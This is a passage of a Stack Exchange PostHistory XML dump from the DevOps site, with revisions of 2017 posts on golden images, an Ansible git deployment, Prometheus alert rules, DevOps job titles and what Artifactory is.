components of the original omd and some more addons like Grafana and Influxdb as well as Naemon and&#xD;&#xA;&gt; Icinga 2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://askubuntu.com/a/40017&#xD;&#xA;  [2]: https://help.ubuntu.com/community/AptGet/Howto&#xD;&#xA;  [4]: http://omdistro.org/&#xD;&#xA;  [5]: http://mathias-kettner.com/check_mk.html&#xD;&#xA;  [6]: https://labs.consol.de/omd/index.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5958" PostHistoryTypeId="2" PostId="1891" RevisionGUID="f6584d6f-919b-434b-a6d9-50b7c8afa630" CreationDate="2017-08-30T19:00:39.230" UserId="2956" Text="Problems with golden images is that you have to store a full system image with overhead of data which is not build-specific, and using conventions for configuration to make deploy process the same for all versions.&#xD;&#xA;&#xD;&#xA;TL;DR: Infrastructure as a Code, version-specific storage of data outside the app package.&#xD;&#xA;&#xD;&#xA;The problem is easily solved by storing config files and templates, data and installation scripts (including ansible playbooks to manage) inside both code and packages/images, so install and initial configuration would always be version-specific (switching to the same commit you are deploying to have configs you need). This could be done with VCS and current package management software (deb, msi, PKG etc. and scripts for unattended deploy and installation) with ease. To avoid using different images of OS and other environment, storing and using a single *golden image* for all builds is a standard practice: it provides consistency and you can automate CI/CD pipeline for image update process.&#xD;&#xA;&#xD;&#xA;If some data is stored outside (*i.e. a lot of current Windows apps outside of Store are installed by running a downloader, then installing app*) and you have to keep large number of them (no specific branches only like stable-beta-alpha), then storage should be versioned too (i.e. using version-specific hashes as names) and links in install scripts or artifacts would point to the one version they need. But you also have to keep the register of pairs `build:data version`, so when there's no need to use specific version, deletion of related data could be performed within the same remove process. Also, you have to decide whether you want to store complete images or use some differential systems (incremental or differential snapshots of files/filesystems), latter is much more complex and hard to manage so it's not used widely AFAIK." ContentLicense="CC BY-SA 3.0" />
  <row Id="5959" PostHistoryTypeId="5" PostId="1891" RevisionGUID="d1c2798a-1a33-4925-9306-fc49b53b3b45" CreationDate="2017-08-30T22:29:05.397" UserId="2956" Comment="word correction" Text="Problems with golden images is that you have to store a full system image with overhead of data which is not build-specific, and using conventions for configuration to make deploy process the same for all versions.&#xD;&#xA;&#xD;&#xA;TL;DR: Infrastructure as a Code, version-specific storage for data outside the app package.&#xD;&#xA;&#xD;&#xA;The problem is easily solved by storing config files and templates, data and installation scripts (including ansible playbooks to manage) inside both code and packages/images, so install and initial configuration would always be version-specific (switching to the same commit you are deploying to have configs you need). This could be done with VCS and current package management software (deb, msi, PKG etc. and scripts for unattended deploy and installation) with ease. To avoid using different images of OS and other environment, storing and using a single *golden image* for all builds is a standard practice: it provides consistency and you can automate CI/CD pipeline for image update process.&#xD;&#xA;&#xD;&#xA;If some data is stored outside (*i.e. a lot of current Windows apps outside of Store are installed by running a downloader, then installing app*) and you have to keep large number of them (no specific branches only like stable-beta-alpha), then storage should be versioned too (i.e. using version-specific hashes as names) and links in install scripts or artifacts would point to the one version they need. But you also have to keep the register of pairs `build:data version`, so when there's no need to use specific version, deletion of related data could be performed within the same remove process. Also, you have to decide whether you want to store complete images or use some differential systems (incremental or differential snapshots of files/filesystems), latter is much more complex and hard to manage so it's not used widely AFAIK." ContentLicense="CC BY-SA 3.0" />
  <row Id="5960" PostHistoryTypeId="5" PostId="1891" RevisionGUID="162a647d-617d-4bd6-a42f-ea06a1d658a2" CreationDate="2017-08-31T01:00:08.777" UserId="2956" Comment="Added info about incremental storage" Text="Problems with golden images is that you have to store a full system image with overhead of data which is not build-specific, and using conventions for configuration to make deploy process the same for all versions.&#xD;&#xA;&#xD;&#xA;TL;DR: Infrastructure as a Code, version-specific storage for data outside the app package.&#xD;&#xA;&#xD;&#xA;The problem is easily solved by storing config files and templates, data and installation scripts (including ansible playbooks to manage) inside both code and packages/images, so install and initial configuration would always be version-specific (switching to the same commit you are deploying to have configs you need). This could be done with VCS and current package management software (deb, msi, PKG etc. and scripts for unattended deploy and installation) with ease. To avoid using different images of OS and other environment, storing and using a single *golden image* for all builds is a standard practice: it provides consistency and you can automate CI/CD pipeline for image update process.&#xD;&#xA;&#xD;&#xA;If some data is stored outside (*i.e. a lot of current Windows apps outside of Store are installed by running a downloader, then installing app*) and you have to keep large number of them (no specific branches only like stable-beta-alpha), then storage should be versioned too (i.e. using version-specific hashes as names) and links in install scripts or artifacts would point to the one version they need. But you also have to keep the register of pairs `build:data version`, so when there's no need to use specific version, deletion of related data could be performed within the same remove process. Also, you have to decide whether you want to store complete images or use some differential systems (incremental or differential snapshots of files/filesystems), latter is much more complex and hard to manage so it's not used widely AFAIK (with an exception for some DBs, i.e. Facebook stores MySQLs snapshots and binary transaction logs so they could deploy or restore exact state up to certain transaction id)." ContentLicense="CC BY-SA 3.0" />
  <row Id="5961" PostHistoryTypeId="5" PostId="1891" RevisionGUID="9914c961-7286-4a02-b280-5952139b5d17" CreationDate="2017-08-31T07:27:01.493" UserId="2956" Comment="Spelling" Text="Problems with golden images are that you have to store a full system image with overhead of data which is not build-specific, and using conventions for configuration to make deploy process the same for all versions.&#xD;&#xA;&#xD;&#xA;TL;DR: Infrastructure as a Code, version-specific storage for data outside the app package.&#xD;&#xA;&#xD;&#xA;The problem is easily solved by storing config files and templates, data and installation scripts (including ansible playbooks to manage) inside both code and packages/images, so install and initial configuration would always be version-specific (switching to the same commit you are deploying to have configs you need). This could be done with VCS and current package management software (deb, msi, PKG etc. and scripts for unattended deploy and installation) with ease. To avoid using different images of OS and other environment, storing and using a single *golden image* for all builds is a standard practice: it provides consistency and you can automate CI/CD pipeline for image update process.&#xD;&#xA;&#xD;&#xA;If some data is stored outside (*i.e. a lot of current Windows apps outside of Store are installed by running a downloader, then installing app*) and you have to keep large number of them (no specific branches only like stable-beta-alpha), then storage should be versioned too (i.e. using version-specific hashes as names) and links in install scripts or artifacts would point to the one version they need. But you also have to keep the register of pairs `build:data version`, so when there's no need to use specific version, deletion of related data could be performed within the same remove process. Also, you have to decide whether you want to store complete images or use some differential systems (incremental or differential snapshots of files/filesystems), latter is much more complex and hard to manage so it's not used widely AFAIK (with an exception for some DBs, i.e. Facebook stores MySQLs snapshots and binary transaction logs so they could deploy or restore exact state up to certain transaction id)." ContentLicense="CC BY-SA 3.0" />
  <row Id="5962" PostHistoryTypeId="2" PostId="1892" RevisionGUID="246a7f3c-26cd-4ef2-ba79-f7b165fb8575" CreationDate="2017-08-31T10:15:58.537" UserId="4117" Text="Hello guys I have found the solution, &#xD;&#xA;So I create ssh keys from my **Jenkins Server**, and then called the private key from my code, this is how it looks like on my project structure:&#xD;&#xA;&#xD;&#xA;    root@staging:~/project# tree&#xD;&#xA;    .&#xD;&#xA;    ├── deployment.yaml&#xD;&#xA;    ├── server&#xD;&#xA;    │   └── host&#xD;&#xA;    └── the_private_key&#xD;&#xA;&#xD;&#xA;    1 directory, 3 files&#xD;&#xA;&#xD;&#xA;and my deployment.yaml:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    - hosts: staging&#xD;&#xA;      become_user: sudo&#xD;&#xA;      tasks:&#xD;&#xA;      - name: populate my project&#xD;&#xA;        git: repo=git@bitbucket.org:source/source.git&#xD;&#xA;             version=master&#xD;&#xA;             dest=/var/www/test/&#xD;&#xA;             key_file=the_private_key&#xD;&#xA;             accept_hostkey=yes&#xD;&#xA;&#xD;&#xA;And then I copied **Jenkins Server** public key to **Target Server**, then everything worked well" ContentLicense="CC BY-SA 3.0" />
  <row Id="5963" PostHistoryTypeId="2" PostId="1893" RevisionGUID="c3d7694e-f0b1-4a92-842a-a3319c8bcc84" CreationDate="2017-08-31T10:30:33.197" UserId="4147" Text="There are a few reasons which might have caused the gap. Most likely the exporter isn't reachable in which case the `up` timeseries will be 0. You can alert on this like this (taken from https://prometheus.io/docs/alerting/rules/#templating):&#xD;&#xA;&#xD;&#xA;    # Alert for any instance that is unreachable for &gt;5 minutes.&#xD;&#xA;    ALERT InstanceDown&#xD;&#xA;      IF up == 0&#xD;&#xA;      FOR 5m&#xD;&#xA;      LABELS { severity = &quot;page&quot; }&#xD;&#xA;      ANNOTATIONS {&#xD;&#xA;        summary = &quot;Instance {{ $labels.instance }} down&quot;,&#xD;&#xA;        description = &quot;{{ $labels.instance }} of job {{ $labels.job }} has been down for more than 5 minutes.&quot;,&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;On the status page you should also see that it's down including an error message. Unfortunately there is no way to see past error but there is an issue to track this: https://github.com/prometheus/prometheus/issues/2820&#xD;&#xA;&#xD;&#xA;Your Prometheus server can be also overloaded causing scraping to stop which too would explain the gaps. In that case you should see `Storage needs throttling. Scrapes and rule evaluations will be skipped.` errors in the log and increases in the `prometheus_target_skipped_scrapes_total` metrics. You should alert on that too, e.g:&#xD;&#xA;&#xD;&#xA;    ALERT PrometheusSkipsScrapes&#xD;&#xA;      IF rate(prometheus_target_skipped_scrapes_total[2m]) &gt; 0&#xD;&#xA;      FOR 5m" ContentLicense="CC BY-SA 3.0" />
  <row Id="5964" PostHistoryTypeId="2" PostId="1894" RevisionGUID="57666608-f2f0-4b7e-be95-c0f45ecbbfda" CreationDate="2017-08-31T13:45:12.077" UserId="550" Text="what is difference between devops engineer Vs devops consultant vs devops architect ? &#xD;&#xA;&#xD;&#xA;Considering Role wise &amp; Salary wise &amp; Seniority wise &amp; job demand wise etc  " ContentLicense="CC BY-SA 3.0" />
  <row Id="5965" PostHistoryTypeId="1" PostId="1894" RevisionGUID="57666608-f2f0-4b7e-be95-c0f45ecbbfda" CreationDate="2017-08-31T13:45:12.077" UserId="550" Text="what is difference between devops engineer Vs devops consultant vs devops architect" ContentLicense="CC BY-SA 3.0" />
  <row Id="5966" PostHistoryTypeId="3" PostId="1894" RevisionGUID="57666608-f2f0-4b7e-be95-c0f45ecbbfda" CreationDate="2017-08-31T13:45:12.077" UserId="550" Text="&lt;amazon-web-services&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5967" PostHistoryTypeId="2" PostId="1895" RevisionGUID="818d6954-53df-4864-8c23-b6baee190330" CreationDate="2017-08-31T13:56:54.630" UserId="707" Text="You might one to check the accepted answer to this question:&#xD;&#xA;https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer or maybe this article: https://techbeacon.com/7-devops-roles-you-need-succeed " ContentLicense="CC BY-SA 3.0" />
  <row Id="5969" PostHistoryTypeId="2" PostId="1896" RevisionGUID="c6702667-e93f-46ef-af1c-6b86e054f94a" CreationDate="2017-08-31T14:07:33.940" UserId="40" Text="An ***architect*** is somebody who thinks and creates designs.&#xD;&#xA;&#xD;&#xA;A ***consultant*** is somebody who gets hired for things like &quot;Teach us how to do so and so&quot;, or to answer questions like &quot;What's your opinion about this design?&quot;.&#xD;&#xA;&#xD;&#xA;An ***engineer*** is the one who thinks &quot;object oriented&quot;, which is &quot;How can I get that design (created by the architect, and validated by the consultant) implemented and make it work&quot;.&#xD;&#xA;&#xD;&#xA;Their *salaries* may vary (there are cheap and expensive ones), same for *seniority* (there are juniors and seniors, while everybody starts as junior, not all of them ever make it to senior). And *job demand* is pretty variable (by region, over time, economical factors, depending on hypes, etc).&#xD;&#xA;&#xD;&#xA;BTW, it doesn't really matter what the actual &quot;subject&quot; is, it could be &quot;IT&quot;, it could be &quot;Road Construction&quot;, or it could even be &quot;DevOps&quot; ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="5970" PostHistoryTypeId="5" PostId="1895" RevisionGUID="1db17a8a-2ced-4584-a301-0d477296051a" CreationDate="2017-08-31T14:08:30.677" UserId="707" Comment="added 1 character in body" Text="You might want to check the accepted answer to this question:&#xD;&#xA;https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer or maybe this article: https://techbeacon.com/7-devops-roles-you-need-succeed " ContentLicense="CC BY-SA 3.0" />
  <row Id="5971" PostHistoryTypeId="2" PostId="1897" RevisionGUID="1a5fbcfc-661b-4006-be1f-fbb184ea8d17" CreationDate="2017-08-31T14:18:50.697" UserId="4153" Text="Having slain a &quot;two processes&quot; container a few days ago, there some pain points for me which caused me to use two container instead of a python script which started two processes:&#xD;&#xA;&#xD;&#xA;1. Docker is good at recognizing crashed containers. It can't do that when the main process looks fine, but some other process died a gruesome death. Sure, you can monitor your process manually, but why reimplement that?&#xD;&#xA;2. docker logs gets a lot less useful when multiple processes are spewing their logs to the console. Again, you can write the process name to the logs, but docker can do that, too.&#xD;&#xA;3. Testing and reasoning about a container get's a lot harder." ContentLicense="CC BY-SA 3.0" />
  <row Id="5972" PostHistoryTypeId="5" PostId="1896" RevisionGUID="8824292c-d4c6-4256-9cba-4b4ba049837e" CreationDate="2017-08-31T14:26:21.120" UserId="40" Comment="added 164 characters in body" Text="An ***architect*** is somebody who thinks and creates designs.&#xD;&#xA;&#xD;&#xA;A ***consultant*** is somebody who gets hired for things like &quot;Teach us how to do so and so&quot;, or to answer questions like &quot;What's your opinion about this design?&quot;.&#xD;&#xA;&#xD;&#xA;An ***engineer*** is the one who thinks &quot;object oriented&quot;, something along the lines like &quot;*How can I get that design (created by the architect, and validated by the consultant) implemented and make it work&quot;?*.&#xD;&#xA;&#xD;&#xA;Their *salaries* may vary (there are cheap and expensive ones), same for *seniority* (there are juniors and seniors, while everybody starts as junior, not all of them ever make it to senior). And *job demand* is pretty variable (by region, over time, economical factors, depending on hypes, etc).&#xD;&#xA;&#xD;&#xA;BTW, it doesn't really matter what the actual &quot;subject&quot; is, it could be &quot;IT&quot;, it could be &quot;Road Construction&quot;, or it could even be &quot;DevOps&quot; ...&#xD;&#xA;&#xD;&#xA;PS: What's in a name (or jobtitle), how about a ***DevOps BA***, as shown in [this post](https://www.linkedin.com/feed/update/activity:6309024601095704576/) ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="5973" PostHistoryTypeId="6" PostId="1894" RevisionGUID="eaa3e912-f94b-4514-bdf2-c182272df242" CreationDate="2017-08-31T14:26:46.733" UserId="210" Comment="edited tags" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5974" PostHistoryTypeId="5" PostId="1894" RevisionGUID="89b64e7d-8de6-4501-ae40-4ef45fdc082f" CreationDate="2017-08-31T14:30:57.827" UserId="40" Comment="deleted 2 characters in body; edited title" Text="What is difference between devops engineer Vs devops consultant Vs devops architect?&#xD;&#xA;&#xD;&#xA;Considering Role wise &amp; Salary wise &amp; Seniority wise &amp; job demand wise, etc." ContentLicense="CC BY-SA 3.0" />
  <row Id="5975" PostHistoryTypeId="4" PostId="1894" RevisionGUID="89b64e7d-8de6-4501-ae40-4ef45fdc082f" CreationDate="2017-08-31T14:30:57.827" UserId="40" Comment="deleted 2 characters in body; edited title" Text="What is difference between devops engineer Vs devops consultant Vs devops architect?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5978" PostHistoryTypeId="5" PostId="1895" RevisionGUID="b18eb38c-40c3-4a6b-aed3-0f22f9e20c62" CreationDate="2017-08-31T15:14:18.180" UserId="40" Comment="Include a relevant quote from the related article link (to make the answer look less like a link-only answer)" Text="You might want to check the accepted answer to this question:&#xD;&#xA;https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer&#xD;&#xA;&#xD;&#xA;Or maybe the article &quot;[7 DevOps roles you need to succeed](https://techbeacon.com/7-devops-roles-you-need-succeed)&quot;, which includes these (critical?) roles:&#xD;&#xA;&#xD;&#xA;1. DevOps evangelist&#xD;&#xA;2. Release manager&#xD;&#xA;3. Automation architect&#xD;&#xA;4. Software developer/tester&#xD;&#xA;5. Experience assurance (XA) professional&#xD;&#xA;6. Security engineer&#xD;&#xA;7. Utility technology player" ContentLicense="CC BY-SA 3.0" />
  <row Id="5979" PostHistoryTypeId="5" PostId="1896" RevisionGUID="4e930704-5042-443b-b56d-f6a2ebe80cda" CreationDate="2017-08-31T15:17:06.783" UserId="1202" Comment="reworded to disambiguate from Object oriented programming" Text="An ***architect*** is somebody who thinks and creates designs.&#xD;&#xA;&#xD;&#xA;A ***consultant*** is somebody who gets hired for things like &quot;Teach us how to do so and so&quot;, or to answer questions like &quot;What's your opinion about this design?&quot;.&#xD;&#xA;&#xD;&#xA;An ***engineer*** is the one who is objective oriented and pragmatic, something along the lines like &quot;*How can I get that design (created by the architect, and validated by the consultant) implemented and make it work&quot;?*.&#xD;&#xA;&#xD;&#xA;Their *salaries* may vary (there are cheap and expensive ones), same for *seniority* (there are juniors and seniors, while everybody starts as junior, not all of them ever make it to senior). And *job demand* is pretty variable (by region, over time, economical factors, depending on hypes, etc).&#xD;&#xA;&#xD;&#xA;BTW, it doesn't really matter what the actual &quot;subject&quot; is, it could be &quot;IT&quot;, it could be &quot;Road Construction&quot;, or it could even be &quot;DevOps&quot; ...&#xD;&#xA;&#xD;&#xA;PS: What's in a name (or jobtitle), how about a ***DevOps BA***, as shown in [this post](https://www.linkedin.com/feed/update/activity:6309024601095704576/) ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="5980" PostHistoryTypeId="24" PostId="1896" RevisionGUID="4e930704-5042-443b-b56d-f6a2ebe80cda" CreationDate="2017-08-31T15:17:06.783" Comment="Proposed by 1202 approved by 40 edit id of 430" ContentLicense="CC BY-SA 3.0" />
  <row Id="5982" PostHistoryTypeId="5" PostId="1041" RevisionGUID="193f9dab-fc34-4f30-9084-66acbd249a7d" CreationDate="2017-08-31T15:25:32.777" UserId="40" Comment="improve readability" Text="To me the easiest route to this would be to have an instance of an artifactory running. There are several choices out there many of which have an open-source, community or free version that would support maven repositories.  Most options will support caching remote repositories (maven central for example) which can then be curated to enforce specific versions of the dependencies through your projects. It will also accept your own dependencies this way you can have a central unique access point for all maven dependencies in your team.&#xD;&#xA;&#xD;&#xA;I've personally had success with Sonatype's Nexus ([OSS version][1], or [Pro version][2]). There are [other choices][3] out there though check them out.&#xD;&#xA;&#xD;&#xA;That said, if what you want is to prime the local repository for a new agent you want to provision, you could do so. But frankly, unless you have some real hefty dependencies (say in the GB size range), I would not bother doing so really and just let Maven naturally pull from the local binary repository instead. It makes for a simpler solution that will be more robust in the long run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-oss&#xD;&#xA;  [2]: https://www.sonatype.com/nexus-repository-software-component-management&#xD;&#xA;  [3]: https://binary-repositories-comparison.github.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="5983" PostHistoryTypeId="2" PostId="1898" RevisionGUID="74b27ad5-dad9-4090-990b-20c7545847b1" CreationDate="2017-08-31T15:40:46.247" UserId="40" Text="There are quite some [questions](https://devops.stackexchange.com/search?q=artifactory+is%3Aq) and [answers](https://devops.stackexchange.com/search?q=artifactory+is%3Aa) that mention &quot;***artifactory***&quot;.&#xD;&#xA;&#xD;&#xA;I wouldn't be surprised if it is somehow related to [tag:artifacts].&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually an &quot;artifactory&quot; (in the context of DevOps)?&#xD;&#xA;- Why are artifactories used?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5984" PostHistoryTypeId="1" PostId="1898" RevisionGUID="74b27ad5-dad9-4090-990b-20c7545847b1" CreationDate="2017-08-31T15:40:46.247" UserId="40" Text="What is an artifactory?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5985" PostHistoryTypeId="3" PostId="1898" RevisionGUID="74b27ad5-dad9-4090-990b-20c7545847b1" CreationDate="2017-08-31T15:40:46.247" UserId="40" Text="&lt;terminology&gt;&lt;artifacts&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5986" PostHistoryTypeId="2" PostId="1899" RevisionGUID="4107531c-21fa-45e5-850a-17fdf7487cb8" CreationDate="2017-08-31T16:15:15.700" UserId="47" Text="Artifactory is a [Binary Repository Manager][1] product from [Jfrog][2]. &#xD;&#xA;&#xD;&#xA;You're right - being a binary repository manager it is typically used to manage storage of [tag:artifacts] generated and used in the software development process.&#xD;&#xA;&#xD;&#xA;From [Artifactory's main webpage][3]:&#xD;&#xA;&#xD;&#xA;&gt; As the first, and only, universal Artifact Repository Manager on the&#xD;&#xA;&gt; market, JFrog Artifactory fully supports software packages created by&#xD;&#xA;&gt; any language or technology.&#xD;&#xA;&gt;&#xD;&#xA;&gt; ...&#xD;&#xA;&gt;&#xD;&#xA;&gt; ...Artifactory provides an end-to-end, automated and bullet-proof&#xD;&#xA;&gt; solution for tracking artifacts from development to production.&#xD;&#xA;&#xD;&#xA;The usages you mentioned suggest it may be popular enough for a [generic trademark][4] in DevOps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Binary_repository_manager&#xD;&#xA;  [2]: https://www.jfrog.com/&#xD;&#xA;  [3]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Generic_trademark" ContentLicense="CC BY-SA 3.0" />
  <row Id="5987" PostHistoryTypeId="6" PostId="1898" RevisionGUID="2e998e29-456e-4f43-bbd5-076801d36385" CreationDate="2017-08-31T16:15:32.443" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;&lt;artifacts&gt;&lt;artifactory&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5988" PostHistoryTypeId="2" PostId="1900" RevisionGUID="7c725316-692a-46d4-89db-afb02adef818" CreationDate="2017-08-31T16:30:54.667" UserId="1202" Text="[Artifactory][1] is a product by JFrog that serves as a [binary repository manager][2].  That said very often one will use an artifactory as a synonym of the more general binary repository, much like many people use Frigidaire or fridge to denote the refrigerator regardless if it is a Frigidaire brand or not.&#xD;&#xA;&#xD;&#xA;The binary repository is a natural extension to the source code repository in that it will store the outcome of your build process, often denoted as artefacts.  Most of the times one would not use the binary repository directly but through a package manager that comes with the chosen technology.&#xD;&#xA;&#xD;&#xA;In most cases these will store individual application components that can later be assembled in a full product.  Thus allowing a build to be broken in smaller chunks making more efficient use of resources, reducing build times, better tracking of binary debug databases etc&#xD;&#xA;&#xD;&#xA;Here are some of the most popular package manager that can be managed using a binary repository:&#xD;&#xA;&#xD;&#xA;* Java : jar, ear, war etc has [Maven][3].  There are many other package managers that will use the maven binary repository format as well ([ivy][4], [gradle][5] etc)&#xD;&#xA;* .Net : [nuget][6] for .NET components (DLL and EXE) but can also be used as a distribution mechanism under windows thorugh systems like [Chocolatey][7].  Newer versions of Powershell can also leverage this to distribute powershell modules though the [powershell gallery][8] of which one could build a local distribution with a binary repository and a repository in nuget format.  Also check [OneGet][9] if windows distribution management is of interest to you.&#xD;&#xA;* In javascript : we have [npm][10] which is one of the most popular, will require [nodejs][11]&#xD;&#xA;* In python : there is [pip][12] and the official package index [pypi][13], which one can also create a local instance through binary repository that will support the format.&#xD;&#xA;&#xD;&#xA;This list is far from complete, just gives an idea of what's out there.&#xD;&#xA;&#xD;&#xA;The binary repository can allow to host under one roof all of these making their management much simpler for teams.  Note that you do not need a very large team to start reaping benefits from binary package management.  The initial investment is not very large and the benefits are felt immediately.  Especially that more and more platforms, frameworks and languages are integrating this dependency management directly in them.&#xD;&#xA;Their biggest advantage I have found however was to create an environment that your programmers will find natural and comfortable making it essential.  It helps you as a devops creating a solid tool-chain and it helps them making the overall experience fit naturally in their stack of choice.&#xD;&#xA;&#xD;&#xA;As I said earlier there are [many products][14] out there that can serve as binary package managers some more generic than others in their target usage varying also widely in their accessibility and prices.&#xD;&#xA;&#xD;&#xA;My personal opinion is that binary repositories are as vital part of a well designed devops setup as would the source code repository or the continuous integration.&#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Binary_repository_manager&#xD;&#xA;  [3]: https://maven.apache.org/&#xD;&#xA;  [4]: http://ant.apache.org/ivy/&#xD;&#xA;  [5]: https://gradle.org/&#xD;&#xA;  [6]: https://www.nuget.org/&#xD;&#xA;  [7]: https://chocolatey.org/&#xD;&#xA;  [8]: https://www.powershellgallery.com/&#xD;&#xA;  [9]: https://github.com/OneGet/oneget&#xD;&#xA;  [10]: https://www.npmjs.com/&#xD;&#xA;  [11]: https://nodejs.org/en/&#xD;&#xA;  [12]: https://pypi.python.org/pypi/pip&#xD;&#xA;  [13]: https://pypi.python.org/pypi&#xD;&#xA;  [14]: https://en.wikipedia.org/wiki/List_of_software_package_management_systems" ContentLicense="CC BY-SA 3.0" />
  <row Id="5989" PostHistoryTypeId="2" PostId="1901" RevisionGUID="1f515578-9d71-408c-82fe-3734c8b70668" CreationDate="2017-08-31T17:58:41.227" UserId="707" Text="I mean, DevOps is from the business view about speed and quality, right?&#xD;&#xA;&#xD;&#xA;What does it mean if a company is growing and fast enough for their custoners without devops, and what can this apply?&#xD;&#xA;&#xD;&#xA;1. They did, or do DevOps at sufficient level, no change is required&#xD;&#xA;2. They do DevOps but don't know it/ gave it another name&#xD;&#xA;3. They do something totally different and better than DevOps as we know it and we really should find out what it is (before it is too late)&#xD;&#xA;4. They are awfully wrong: their speed and quality are below their knowledge and they will know it as of next financial report, in case tgey manage to survive so long to see it. " ContentLicense="CC BY-SA 3.0" />
  <row Id="5990" PostHistoryTypeId="1" PostId="1901" RevisionGUID="1f515578-9d71-408c-82fe-3734c8b70668" CreationDate="2017-08-31T17:58:41.227" UserId="707" Text="Does a company need DevOps if it already delivers software at acceptable speed?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5991" PostHistoryTypeId="3" PostId="1901" RevisionGUID="1f515578-9d71-408c-82fe-3734c8b70668" CreationDate="2017-08-31T17:58:41.227" UserId="707" Text="&lt;culture&gt;&lt;definition&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5992" PostHistoryTypeId="5" PostId="1900" RevisionGUID="f82555f6-dd47-42ec-98b3-ab7ddcf2f3b5" CreationDate="2017-08-31T18:19:56.110" UserId="1202" Comment="added mention to MavenCentral " Text="[Artifactory][1] is a product by JFrog that serves as a [binary repository manager][2].  That said very often one will use an artifactory as a synonym of the more general binary repository, much like many people use Frigidaire or fridge to denote the refrigerator regardless if it is a Frigidaire brand or not.&#xD;&#xA;&#xD;&#xA;The binary repository is a natural extension to the source code repository in that it will store the outcome of your build process, often denoted as artefacts.  Most of the times one would not use the binary repository directly but through a package manager that comes with the chosen technology.&#xD;&#xA;&#xD;&#xA;In most cases these will store individual application components that can later be assembled in a full product.  Thus allowing a build to be broken in smaller chunks making more efficient use of resources, reducing build times, better tracking of binary debug databases etc&#xD;&#xA;&#xD;&#xA;Here are some of the most popular package manager that can be managed using a binary repository:&#xD;&#xA;&#xD;&#xA;* Java : jar, ear, war etc has [Maven][3] and the official [MavenCentral][4].  There are many other package managers that will use the maven binary repository format as well ([ivy][5], [gradle][6] etc)&#xD;&#xA;* .Net : [nuget][7] for .NET components (DLL and EXE) but can also be used as a distribution mechanism under windows thorugh systems like [Chocolatey][8].  Newer versions of Powershell can also leverage this to distribute powershell modules though the [powershell gallery][9] of which one could build a local distribution with a binary repository and a repository in nuget format.  Also check [OneGet][10] if windows distribution management is of interest to you.&#xD;&#xA;* In javascript : we have [npm][11] which is one of the most popular, will require [nodejs][12]&#xD;&#xA;* In python : there is [pip][13] and the official package index [pypi][14], which one can also create a local instance through binary repository that will support the format.&#xD;&#xA;&#xD;&#xA;This list is far from complete, just gives an idea of what's out there.&#xD;&#xA;&#xD;&#xA;The binary repository can allow to host under one roof all of these making their management much simpler for teams.  Note that you do not need a very large team to start reaping benefits from binary package management.  The initial investment is not very large and the benefits are felt immediately.  Especially that more and more platforms, frameworks and languages are integrating this dependency management directly in them.&#xD;&#xA;Their biggest advantage I have found however was to create an environment that your programmers will find natural and comfortable making it essential.  It helps you as a devops creating a solid tool-chain and it helps them making the overall experience fit naturally in their stack of choice.&#xD;&#xA;&#xD;&#xA;As I said earlier there are [many products][15] out there that can serve as binary package managers some more generic than others in their target usage varying also widely in their accessibility and prices.&#xD;&#xA;&#xD;&#xA;My personal opinion is that binary repositories are as vital part of a well designed devops setup as would the source code repository or the continuous integration.&#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Binary_repository_manager&#xD;&#xA;  [3]: https://maven.apache.org/&#xD;&#xA;  [4]: https://search.maven.org/&#xD;&#xA;  [5]: http://ant.apache.org/ivy/&#xD;&#xA;  [6]: https://gradle.org/&#xD;&#xA;  [7]: https://www.nuget.org/&#xD;&#xA;  [8]: https://chocolatey.org/&#xD;&#xA;  [9]: https://www.powershellgallery.com/&#xD;&#xA;  [10]: https://github.com/OneGet/oneget&#xD;&#xA;  [11]: https://www.npmjs.com/&#xD;&#xA;  [12]: https://nodejs.org/en/&#xD;&#xA;  [13]: https://pypi.python.org/pypi/pip&#xD;&#xA;  [14]: https://pypi.python.org/pypi&#xD;&#xA;  [15]: https://en.wikipedia.org/wiki/List_of_software_package_management_systems" ContentLicense="CC BY-SA 3.0" />
